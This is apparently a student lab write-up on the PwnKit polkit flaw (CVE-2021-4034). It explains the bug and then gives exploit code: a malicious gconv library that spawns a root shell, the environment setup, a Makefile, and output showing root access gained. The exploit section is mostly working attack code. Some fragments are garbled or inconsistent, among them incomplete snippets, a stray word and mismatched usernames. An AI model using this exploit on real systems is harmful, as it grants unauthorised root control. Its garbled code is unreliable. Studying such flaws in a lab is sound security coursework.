Practice 3

@Alberto Bettini @Francesco Pizzato

1. Introduction

@Francesco Pizzato

The vulnerability **CVE-2021-4034**, also known as **PwnKit**, was discovered by the **Qualys security team** in **January 2022**. The researchers published a detailed report that showed a serious security flaw in the `pkexec` file, which is part of the `polkit` software package. This package plays an important role in Linux systems, because it manages permissions to run privileged actions in a controlled and secure way.

This vulnerability stayed hidden and undetected for around **12 years**, and was present in all major Linux distributions such as **Ubuntu, Debian, Fedora, CentOS**, and many others since **2009**. Even though it existed for a long time, there is no evidence that it was actively used by attackers before it was officially discovered in 2022. After the discovery, security patches were quickly released.

This vulnerability made it possible to get **superuser** `root` **permissions**, giving an attacker **full control over the compromised system**. The seriousness of this issue was even greater because it could be used **locally** without needing special starting privileges, allowing **immediate privilege escalation** on any vulnerable Linux system.

2. Vulnerability Analysis

@Francesco Pizzato

The **CVE-2021-4034** vulnerability comes from how memory is handled when a program runs. In memory, the arguments and environment variables are organized like this:

`argv[0]`	`argv[1]`		`env[0]`	`env[1]`	`env[...]`
Program name	Argument 1	`null`	Environment variables	Environment variables	...

where `null` separates the program arguments from the environment variables.

The program `pkexec.c` checks the arguments starting from index 1, reads them, and sets the path of the environment variables. Then, it gets the program path and puts it back into the original arguments array. An attacker can set `argv[0]` to `null`, which causes an **out-of-bounds read**, because `pkexec` will read the environment variables after the `null` instead of the real program arguments. If the variable path doesn't start with `/`, it is written into `argv[n]`, causing an **out-of-bounds write**.

```
for (n = 1; n < (guint) argc; n++) {    ...}...path = g_strdup (argv[n]);...if (path[0] != '/'){    s = g_find_program_in_path (path);    ...    argv[n] = path = s;}
```

This vulnerability allows injecting **any environment variable** into a process. The advantage is that we can inject **malicious environment variables** (Unsecure Env Vars) and, thanks to them, gain `root` **user privileges**.

However, there is an extra difficulty: the function `clearenv()` is called **right after** the out-of-bounds write, and it **removes all environment variables**. This forces us to find a way to **run our malicious code after** the out-of-bounds write but **before** `clearenv()` is executed.

```
if (path[0] != '/'){    s = g_find_program_in_path (path);    ...    argv[n] = path = s;}.../* Find a solution here, in this code's segment */...if (clearenv () != 0){    g_printerr ("Error clearing environment: %s\n", g_strerror (errno));    goto out;}
```

To help us, right in that part of the code, the function `validate_environment_variable()` is called, and inside it, `g_printerr()` is invoked.

```
if (!validate_environment_variable (key, value))
```

This last function is key to our attack: it prints the error directly if the message is in UTF-8 format, but if it is not, it tries to convert it to UTF-8 using the `iconv_open()` function. Thanks to this conversion function, we can take advantage of **conversion modules**, which are loaded dynamically during execution.

By manipulating environment variables like `GCONV_PATH`, we can include malicious code in the conversion modules that will be executed during the conversion process. Most importantly, this code will run with `root` **privileges**.

3. Environment Setup

@Alberto Bettini

To safely test this vulnerability, I set up a virtualized environment using VirtualBox with the following features:

- Operating system: **Ubuntu 20.04 LTS** (a version released before the patch)
- Configuration: Standard installation with default polkit
- Users: A non-privileged user “user” was created

I checked for the presence of the `pkexec` binary and its permissions:

```
$ ls -la /usr/bin/pkexec:
-rwsr-xr-x 1 root root 31032 gen 13 2021 /usr/bin/pkexec
```

4. Exploit Development

@Alberto Bettini

To exploit the **CVE-2021-4034** (PwnKit) vulnerability, I followed the method described by **PwnFunction** on GitHub. The idea is to “trick” `pkexec` into loading a **library we created**, which

gets executed with **root privileges**.

4.1 Exploit Structure

The exploit is made of **three elements:**

1. A **malicious library** (`evil-so.c`) that contains our code to run as root.
2. A **configuration file** (`gconv-modules`) that tells the system how to use that library.
3. A **script or program (`exploit.c`)** that creates the needed folders and environment variables, then launches `pkexec`.

evil-so.c

```
#include <stdio.h>#include <stdlib.h>#include <unistd.h>void gconv() {}void gconv_init() {
setuid(0);      // Set user to root   setgid(0);      // Set group to root   setgroups(0);     //
Remove any other groups   execve("/bin/sh", NULL, NULL);  // Open a shell}
```

This `gconv_init()` function is automatically called by the system when `pkexec` tries to load a character conversion module, as we will see later.

gconv-modules

This is a simple text file that tells the system where our fake module (`evil.so`) is located.

```
module  INTERNAL  BRUH//  evil   2
```

This line links the fake character type name (`CHARSET=BRUH`) to the `evil.so` library.

exploit.c

This program (or script) creates the needed folders and files, copies everything into place, and then launches `pkexec` with some modified environment variables:

```
char *envp[] = {   "evildir",      // name of the module folder   "GCONV_PATH=.",   // tells
the system to look for modules in the current folder   "SHELL=BRUH",     // required by pk
exec, tricks the check   "CHARSET=BRUH",   // fake charset that activates our module   N
ULL
};
```

The program then runs `pkexec`, and the system, while trying to print an error in “ryaagard”, looks for a conversion module in `GCONV_PATH=.` and finds our `evil.so` library. At that point, it runs it **as root**, and we get a root shell.

4.3 Exploit Compilation and Execution

To compile all the needed files, we use the `Make` framework, which allows us to automate the compilation process using a file called `Makefile`. This file contains the instructions on how to compile each source file.

```
all:    gcc -shared -o evil.so -fPIC evil-so.c
    gcc exploit.c -o exploit
clean:    rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
```

Compilation

```
make all
```

Execution

```
user@user:~$
user@user:~$
user@user:~$ id
uid=1000(miley) gid=1000(miley) groups=1000(miley)user@user:~$ ./exploit
#iduid=0(root) gid=0(root) groups=0(root)#
```